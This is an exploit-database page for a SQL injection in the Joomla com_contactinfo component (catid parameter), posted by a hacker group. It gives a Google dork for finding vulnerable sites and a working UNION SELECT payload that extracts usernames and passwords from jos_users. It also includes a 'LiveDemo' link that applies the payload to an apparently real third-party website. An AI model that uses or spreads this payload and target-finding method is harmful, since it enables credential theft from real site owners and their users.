[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Joomla Component Contact Info 1.0 SQL Injection Vulnerability

Author
boom3rang
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-4157
Category
web applications
Date add
11-11-2008
Platform
unsorted
=============================================================
Joomla Component Contact Info 1.0 SQL Injection Vulnerability
=============================================================


###########################################################
Joomla com_contactinfo(catid) SQL-injection vulnerability
###########################################################

###################################################
#[~] Author :  boom3rang 
#[~] Kosova Hackers Group 
#[~] Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.

#[!] Module_Name:  com_contactinfo
#[!] Script_Name:  Joomla
#[!] Google_Dork:  inurl:"com_contactinfo"
##################################################


#[~] Example:                  
http://localhost/Path/index.php?option=com_contactinfo&catid=[exploit]

#[~] Exploit: 
-9999/**/UNION/**/SELECT/**/1,2,concat(username,char(58),password),4,5,6,7,8,9,0,11,12,13,14,15,16+from+jos_users/*

#[~] LiveDemo:
http://www.planetacentr.ru/index.php?option=com_contactinfo&catid=-9999/**/UNION/**/SELECT/**/1,2,concat(username,char(58),password),4,5,6,7,8,9,0,11,12,13,14,15,16+from+jos_users/*


##############################



#  0day.today [2024-11-15]  #